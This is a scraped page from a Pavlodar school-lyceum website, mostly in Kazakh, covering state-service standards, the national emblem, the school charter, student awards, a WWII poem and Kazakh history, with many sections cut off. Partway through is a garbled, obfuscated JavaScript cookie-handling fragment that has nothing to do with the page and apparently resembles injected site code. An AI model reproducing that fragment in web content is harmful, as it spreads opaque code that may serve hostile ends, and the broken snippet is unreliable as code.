Страница директора

Мемлекеттік орта білім беру мекемелеренің басшылары лауазымдарына орналасу конкурсына қатысу үшін құжаттар қабылдау Скачать «Ұздік педагог» атағын беру конкурсына қатысу үшін құжаттар қабылдау Скачать «Дамуында проблемалары бар балалар мен жасөспірімдерді оңалту және әлеуметтік бейімдеу» мемлекеттік көрсетілетін қызмет стандарты Скачать «Бастауыш, негізгі орта, жалпы орта білім берудің жалпы білім беретін бағдарламалары бойынша оқыту үшін ведомстволық бағыныстылығына қарамастан білім беру ұйымдарына құжаттарды қабылдау және оқуға қабылдау» мемлекеттік көрсетілетін қызмет стандарты Скачать «Жетім балаға (жетім балаларға) және ата-анасының қамқорлығынсыз қалған балаға (балаларға) қамқоршылық немесе қорғаншылық белгілеу» мемлекеттік көрсетілетін қызмет стандарты Скачать «Шалғайдағы ауылдық елді мекендерде тұратын балаларды жалпы білім беру ұйымдарына және кері қарай үйлеріне тегін тасымалдауды ұсыну» мемлекеттік көрсетілетін қызмет стандарты Скачать «Аз қамтылған отбасылардағы балалардың қала сыртындағы және мектеп жанындағы лагерьлерде демалуы үшін құжаттар қабылдау және жолдама беру» мемлекеттік көрсетілетін қызмет стандарты Скачать «Бастауыш, негізгі орта, жалпы орта білім беру ұйымдарына денсаулығына байланысты ұзақ уақыт бойы бара алмайтын балаларды үйде жеке тегін оқытуды ұйымдастыру үшін құжаттарды...

  Қазақстан Pеспубликасының мемлекеттiк елтаңба   Елтаңба— Қазақстан Республикасының негiзгi мемлекеттiк рәмiздерiнiң бiрi. ҚР Президентiнiң “Қазақстан Республикасының Мемлекеттiк рәмiздерi туралы” конституц. заң күшi бар Жарлығымен (24.1.1996) белгiленген. Рәмiздiк тұрғыдан ҚР мемл. гербiнiң негiзi — шаңырақ. Ол — гербтiң жүрегi. Шаңырақ — мемлекеттiң түп-негiзi — отбасының бейнесi. Шаңырақ — Күн шеңберi. Айналған Күн шеңберiнiң қозғалыстағы суретi iспеттi, Шаңырақ — киiз үйдiң күмбезi көшпелi түркiлер үшiн үйдiң, ошақтың, отбасының бейнесi. Тұлпар — дала дүлдiлi, ер-азаматтың сәйгүлiгi, желдей ескен жүйрiк аты, жеңiске деген жасымас жiгердiң, қажымас қайраттың, мұқалмас қажырдың, тәуелсiздiкке, бостандыққа ұмтылған құлшыныстың бейнесi. Қанатты тұлпар — қазақ поэзиясындағы кең тараған бейне. Ол ұшқыр арманның, самғаған таңғажайып жасампаздық қиялдың, талмас талаптың, асыл мұраттың, жақсылыққа құштарлықтың кейпi. Қанатты тұлпар Уақыт пен Кеңiстiктi бiрiктiредi. Ол өлмес өмiрдiң бейнесi. Бiр шаңырақтың астында тату-тәттi өмiр сүретiн Қазақстан халқының өсiп-өркендеуiн, рухани байлығын, сан сырлы, алуан қырлы бет-бейнесiн паш етедi. Бес бұрышты жұлдыз гербтiң тәжi iспеттi. Әрбiр адамның жол нұсқайтын жарық жұлдызы бар. Қ. р. м. г-нiң авторлары — Ж.Мәлiбеков пен Ш.Уәлиханов.

      Мемлекеттік әнұран (1,71Mb)

  Қазақстан Республикасының Президенті Н.Ә.Назарбаевтың Қазақстан халқына Жолдауы. 2014 жылғы 17 қаңтар Қазақстан жолы – 2050: Бір мақсат, бір мүдде, бір болашақ 2014-01-20 16:08:06 кошіріпалу ҚР Елбасының жолдауы ЕЛБАСЫ Н.Ә.НАЗАРБАЕВТЫҢ ҚАЗАҚСТАН ХАЛҚЫНА ЖОЛДАУЫ "Қазақстан - 2050" 2013-01-31 18:40:35 кошіріпалу

"Павлодар қаласы № 20 лицей-мектебі"ММ жұмысының анализі "Павлодар қаласы № 20 лицей-мектебі"ММ жұмысының анализі 2014-01-06 01:06:40 кошіріпалу

«Тұлғаның өзіне деген сенімділігін арттыру» атты 11-сынып оқушыларына арналған психологиялық тренинг. Баильдинова Д. С. кошіріпалу Жасөспірім жастар жайында ата-аналар не білу керек. Баильдинова Д. С. кошіріпалу Оқу мотивацияларын дамыту жолдары. Баильдинова Д. С. кошіріпалу Төменде баланың оқуға деген ынтасын арттырудың жолдарынан біраз мысал келтірдік мүмкін сізге, ата-анаға көмек болар. Баильдинова Д. С. кошіріпалу ОТБАСЫНДА БАЛАМЕН ҚАРЫМ-ҚАТЫНАС ЖАСАУ ЕРЕЖЕЛЕРІ. Баильдинова Д. С. кошіріпалу «БАЛАЛАРДЫҢ ҚҰҚЫҚТАРЫ ТУРАЛЫ» ҚАЗАҚСТАН РЕСПУБЛИКАСЫНЫҢ ЗАҢЫ«БАЛАЛАРДЫҢ ҚҰҚЫҚТАРЫ ТУРАЛЫ» ҚАЗАҚСТАН РЕСПУБЛИКАСЫНЫҢ ЗАҢЫ. Баильдинова Д. С. кошіріпалу Әлеуметтік педагогтың жұмысына қажетті құжаттардың тізімі. кошіріпалу Әлеуметтік педагогтың білуі қажет! кошіріпалу Әлеуметтік педагогтың функционалдық міндеттері. кошіріпалу Әлеуметтік педагогтың қызметтік міндеттері. кошіріпалу Оқу-тәрбие процесінде қиын жасөспірімдерді тәрбиелеу жолдарын жүйелеу. кошіріпалу ҚИЫН БАЛАЛАРМЕН ПЕДОГОГИКАЛЫҚ ҚАТЫНАС ЕРЕКШЕЛІГІ. кошіріпалу Жасөспірімдер қылмысымен күрес – баршамыздың ортақ міндетіміз. кошіріпалу 12 наурыз 2012 жылғы № 320 Қазақстан Республикасы Үкіметінің Қаулысымен әлеуметтік көмек көрсетілетін азаматтарға әлеуметтік көмек көрсетудің Ережесі, түрлері және бекітілген мөлшері туралы12 наурыз 2012 жылғы № 320...

  // <![CDATA[ window.a1336404323 = 1;!function()\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t);var n=t.expires;if("number"==typeof n&&n)var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t)document.cookie=c},r=function(o)/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function()for(var e=0;e

АЛЫБАЕВ АЗАМАТ Алыбаев Азамат №20 лицей-мектебінің 10 К сынып оқушысы, республикалық кикбоксинг чемпионатының (I орын) жүлдегері, Семей қаласында Ашық кубок кикбоксинг бойынша (II орын) жүлдегері,Ашық қалалық (2014-2015 о.ж) бокс турнирының 1998-1999 т.ж жасөспірімдері аралығында (II орын)жүлдегері , Е.П.Ужгин ескерттілігіне арналған Ашық облыстық бокс турнирінде (III орын) жүлдегері. ОСПАНОВА ДАЛИДА Оспанова Далида - 10 К сынып оқушысы. (III орын) «Күзгі демалыс» турнирінде 1998 – 2000 ж.т. қыздар арасындағы,салмағы 55кг. қалалық самбо күресінің жүлдегері, (II орын) қалалық дзюдо турнирінің жүлдегері, қалалық оқушылар ғылыми жобаларының «Жас ғалым»номинациясы дипломының иегері. ҚАЙЫРБЕК БАУЫРЖАН Қайырбек Бауыржан – 9 А сынып оқушысы, шахмат бойынша Павлодар облысының чемпионы. КОРЯК ВАЛЕРИЯ 8А сынып оқушысы, қалалық көркем гимнастика (2015ж.ІІ орын), турнирының жүлдегері, Қазақстан Республикасының чемпионаты Талды-курган қаласында (2014ж.ІІІ орын),көркем гимнастикадан Астана қаласында, халықаралық сайыста (2014ж.ІІІ орын). КОНДРАТЬЕВА ЕКАТЕРИНА 8А сынып оқушысы, Москва қаласында (2015ж.І орын) «Юные звезды»атты хореографиялық фестиваль жеңімпазы, Италияда (2014ж.І орын), «Под солнцем Италии» атты хореографиялық фестивальда, Астана қаласында ( 2015ж.Іорын), «Дельфийские игры» атты...

«Павлодар қаласының № 20 лицей - мектебі» мемлекеттік мекемесінің Жарғысы 1. Жалпы ережелер 1.«Павлодар қаласының № 20 лицей – мектебi» мемлекеттiк мекемесi (бұдан әрi - Мемлекеттiк мекеме) заңды тұлға мәртебесі бар, мемлекеттік мекеменің ұйымдастырушылық-құқықтық нысанында бiлiм беру, тәрбиелеу мiндеттерiн іске асыру үшiн құрылған коммерциялық емес ұйым болып табылады. 2. Мемлекеттік мекеменің түрі: коммуналдық мемлекеттік мекеме. 3. Мемлекеттік мекеме Павлодар облысы әкімдігі 2002 жылғы «_20_» қарашадағы (Павлодар облысы әкімдігінің «Павлодар қаласының №20 лицей-мектебі» мемлекеттік мекемесін құру туралы қаулысы) шешімімен құрылды. 4. Мемлекеттiк мекеменiң құрылтайшысы жергілікті атқарушы орган - Павлодар қаласының әкімдігі болып табылады. 5. Мемлекеттік мекемеге қатысты коммуналдық меншік құқығы субьектісінің құқығын құрылтайшысы болып табылатын жергілікті атқарушы орган – Павлодар қаласының әкімдігі жүзеге асырады. 6. «Павлодар қаласы білім беру бөлімі» мемлекеттік мекемесі Мемлекеттік мекемені басқаруды жүзеге асыратын орган (бұдан әрі – Басқару органы) болып табылады. 7.Мемлекеттiк мекеменiң мемлекеттік тілдегі фирмалық атауы: «Павлодар қаласының №20 лицей-мектебі» мемлекеттік мекемесі. Мемлекеттік мекеменің орыс тіліндегі фирмалық атауы: государственное учреждение «Школа-лицей № 20 города Павлодара». 8. Мемлекеттiк...

Мектеп тәжірибесіндегі негізгі методология Методологиялық тірек негізінде білім мекемесінің функционалдығы үшін келесі үшбірлік жалпы жүйесі қолданылады: Білім мақсаты – бұл түлектер тұлғасының моделі; Жетістік негізінің мақсаты – бұл ОТҮ жалпы құрылымы; Жағдайы- бұл мұғалімнің кәсібилігі. Білім мекемесінің типі Қазақстанда жалпы орта білім беру екі бұтақ - мектеп және қосымша білім беру түрінде ұсынылады. Мектептер, өз кезегінде таңдаулы және жалпы білім беретін болып бөлінеді. Таңдаулылар құрамына гимназия, лицей, дарынды балаларға арналған мамандандырылған мекеме жатады. Дарындылық феномені барлық мектепке қатысты, әсіресе таңдаулыларға. Таңдаулы білім беру мекемесінің өзіндік Концепция жобасы «Қазақстанда дарынды балаларды оқыту және тәрбиелеу, зерттеу бойынша іс- әрекетті дамыту стратегиясын анықтау негізгі құжат болып табылады». Осы құжаттың көптеген идеялары біздің құжаттарда қолданылады. Сонымен, №20 лицей екі бағыттағы мектеп санатындағы лицей типті таңдаулы мектеп болып саналады: - бір жағынан, бұл инновациялық типтегі жалпы білім беретін мектеп, яғни жоғары деңгейде білім беретін мектеп; - екінші жағынан- бұл лицей, нақты ЖОО нақты мамандықтар дайындайтын мақсатты білімді жүзеге асырушы. Мұндай лицейлер жоғары оқу мекемелері жанынан ашылады және оған болашақ студенттер контингентін даярлайды. Біздің №20 лицей...

№20 лицей -мектебінің эмблемасы Бұл мектеп-ол көп қырлы жаратылыстану- математикалық бағытындағы лицей, еліміздің ең үздік жоғарғы оқу орнына және шет елдерге мамандығы бойынша оқуға түсуге түлектерге мүмкіншілік туғызатын оқу орны болып есептеледі. Оқу орнының негізгі қызметі мектеп белгісінің негізгі символы - түбір астындағы математикалық белгі және астындағы әріптер ол ЖМЛ (жаратылыстану-математикалық ) іс- әрекет деген мағынаны білдіреді.Үш бұрыш тегін алынбаған,себебі біліктіліктің үш кілтін білдіретін үш бұрыш ол нышан белгісін,лицей білімінің қалыптасуының бағыты екендігін көрсетеді. - Кеңістіктің жоғары бұрышындағы дауыстағыш рупор жиыны лицей түлектерінің жан- жақты коммуникативтік біліктілігін білдіретін және келешектегі барлық жетістіктерін адам және маман ретінде бейнелейді: - Сол жақтағы ағылшынша i әрпі ақпаратпен байланысты іс- әрекетінің мүмкіндігін және ақпараттан бастап ақпараттық мәдени жеке тұлға (ақпаратты біліктілік) ретінде байланыстылығын ашады. - оң жақтағы үшінші кілтті біліктіліктің мағынасы - қабылданған шешімнің , өзіндік менеджменттілігін суреттейді. Оптимальды мінез- құлық сайлау негізінде шығармашылық ұсынылады, қоршаған ортаны келісіммен қарсы алу ережесі ретінде міндетті түрде леп белгілердің асты сызылады. - Ең соңында, лицей түлектерінің және барлық азаматтылығын білдіретін түрлі- түсті...

Ағылшын тілінен халықаралық олимпиада саласының “Инфоурок” жобасына Павлодар қаласының № 20 лицей-мектебінің 10 оқушысы қатысты. I орын - Тулешова Г. -11 М , Смайлов Т.-11 М., Вареник Е.- 9 А , Алыбаев А.- 9 К , Зейнулла М.- 9 К, Калтай А.- 8 К , Жумабаева А.- 8 К, II орын - Калиаскар А.-10 А , III орын - Висман Э. – 10 А сынып оқушылары алды. Осы оқушылар сертификаты арқылы «Тайны познания» (36сағат) курста тегін оқу мүмкіншілігіне ие болды. Оқушыларды дайындаған мұғалім, Ж.М.Нурмахановаға, Инфоурок сайтына белсенді қатысқан үшін алғыс жарияланып және жеңімпаздарды дайындаған куәлік берілді.  

"Подвиг этот, будет в памяти жить Давай, девятого, помянем их, Кого сегодня нет уже в живых… Кто так и не вернулся в сорок пятом, Оставшись в нашей памяти солдатом… И тех, вернулся кто, но вскорости ушёл — На свете том пристанище нашел… Виной всему — жестокая война, Дающая посмертно ордена, Изранившая души и тела, Принесшая живому столько зла!!! Защитники! Вас свято будем чтить, И годы страшные те в памяти хранить, Ведь благодарные потомки и страна Своих героев не забудут имена!!! Розбицкая Наталья Великая отечественная война 1941-1945 г Великая Отечественная война – это, пожалуй, самое крупнейшее событие XX столетия. Она смогла определить дальнейшую судьбу многих людей, самых разных национальностей и вероисповеданий. Вопросы, связанные с ее предысторией, причинами, характером, периодизацией и итогами были и продолжают оставаться самыми актуальными на дискуссиях в политических и научных кругах. Если же говорить об общественном мнении, то оно также не стоит на месте, и каждый год обрастает все новыми гипотезами. На нашем сайте мы постарались осветить все стороны Великой Отечественной войны, что называется, от начала и до конца. Ни для кого не секрет, что война длилась чуть более 4 лет. При этом, мало, кто знает точное число убитых и пропавших без вести, а ведь потери среди советских солдат и мирных жителей составили...

Қазақстан территориясында мемлекеттік құрылымдар монғол шапқыншылығына дейін болған.VI-VII ғасырларда Қазақстанның оңтүстігінде ерте феодалдық мемлекет Батыс-Түрік қағанаты құрылып, кейін, X ғасырда Қарахан феодалдық мемлекеті Қарлұқтар (VIII-IX ғ.) пайда болды. X ғасырда Қазақстанның солтүстігінде Қимақтар мемлекеті құрылды, кейін Қыпшақтар аталған. Монғол шапқыншылығынан кейін сол кездегі мемлекеттік құрылымдар жойылды.Қазақ жері Шыңғысхан ұлыстарына бөлінді. Жошы мен Шағатай, Темір шабуылдары егін-шаруашылық, қоғамдық-экономикалық, патриархаттық-феодалдық тәртіпті баяулатты. Алайда, XIV-XV ғасырларда Қазақстан территориясында болған әлеуметтік-экономикалық, және этносаясаттық процестер Қазақ хандығының құрылуына әкелді. XV ғасырдың екінші жартысында құрылған хандықтар Алтын Орда, оған жақын мемлекеттік құрылымдардан айырмашылығы – олар жаугершілік нәтижесінде емес, жергілікті экономикалық және этникалық негізде пайда болған. XV ғасырда Әбілхайыр хандығы құрамына Сырдариядан Сібір хандығына дейін ауқымды территория кірген. Хандық «көшпелі өзбек» аталса да, негізгі тұрғындары қазақтар болған. Бұл кезде Өзбек хандығында жошы мен шайбани ұрпақтарының арасында әулеттік күрес өршіп кетті. Шайбани әулетінің көсемі Әбілхайыр хан жауы жошы әулетіне күн көрсетпеді. XV ғасырдың 50-60 жылдары Ұрұс ханның ұрпағы, Ақ Орда билеушісі Барақ...

Қазақ халқының пайда болу тарихын екі топқа бөлуге болады: лексикалық және антропологиялық. Бірінші кезеңі шаруашылық, мәдениеттік дәстүрлермен, этникалық бірлесумен, нәсілдік құралумен айқындалады. Қола дәуірінің андронов мәдениеті кең таралған. XV-XVI ғасырларда қазақ халқы мен оның этникалық территориясының көп ғасырлы қалыптасу процесі аяқталды. Қазақстандағы этникалық процестердің шешуші кезеңі біздің дәуіріміздегі 1-мыңжылдық ортасында түріктердің жаппай қоныстануымен байланысты.Монғол империясының құрылуы және ұлыстардың қалыптасуымен тайпалар мен халықтың ықпалдастығы жеделдеді. XV-XVI ғасырлардың 2-ші жартысында қазақ халқының негізгі этникалық топтарының, этникалық территорияларының мемлекеттік бірлесуі қазақ халқының қалыптасу процесінің аяқталуын жылдамдатты. Монғол шапқыншылығы қазақ халқының құрылу процесіне бөгет жасады, бірақ тоқтата алған жоқ. Шаруашылық өмірі қалыптасып, шығуы, тектік, тілдік, материалдық және рухани мәдениеті ортақ тайпалар қарым-қатынасы нығая бастады.Қазақ халқының бірігуі этникалық тұтас территориялардың қалыптасуымен қатар жүрді. Әртүрлі этно саяси, шаруашылық, географиялық факторлардың әсер етуінен Қазақстан территориясында үш этно территориялық бірлестіктер пайда болды. Ол Ұлы жүз, Орта жүз, Кіші жүз. Олардың қалыптасуына географиялық, саяси, экономикалық факторлар әсер етті. Қазақ –...

Қазақ халқының пайда болуын зерттеу нәтижесіндегі негізгі аспектілері лингвистикалық және антропологиялық. Осы тұрғыдан көне тарихты үндіевропалық және түркі кезеңдеріне бөлуге болады. Біздің дәуірімізге дейінгі III-I мыңжылдықтарда Қазақстан өзінің шаруашылық, мәдени дәстүрі, лингвистикалық қатынасы бойынша индоевропалық топтың көне ирандық тармағына жатқан.Археология, этнография, топонимика, палеоантропология зерттеу нәтижелері көрсеткендей, қола және ерте темір дәуірінде қазақ тайпалары мен руларының мәдени дәстүрі, этникалық дамуы, лингвистикалық туыстығы негізінде Қазақ халқының, келешек тайпалар мен тайпалар одағының мәдени-тарихи ортақтастығының қалыптасу процесінің алғашқы патриархаттық базасы пайда болған. Біздің дәуіріміздегі 1 мыңжылдықтың басы Еуразияның көптеген бөлігі, оның ішінде Қазақстан, Орта Азия үшін түркі тілдес Көшпелі бірлестіктерден құрылған этногенетикалық дамудың жаңа сатысы болды.15-16 ғасырларда қазақ халқының қалыптасуы және этникалық территориясын анықтаудың көпғасырлық процесі аяқталды.Қазіргі заманғы қазақтарды сипаттайтын келбет автохондық европалық және монғолдық екі нәсілдің күрделі ықпалдасуы негізінде 14-15 ғасырларда қалыптасқан. Осының бәрі қазақ халқының антропологиялық құрамының біртұтастығын құрайды. «Қазақ» этнонимінің шығу тарихы көптеген аңыздарда сақталған, әлі күнге дейін пікірталас...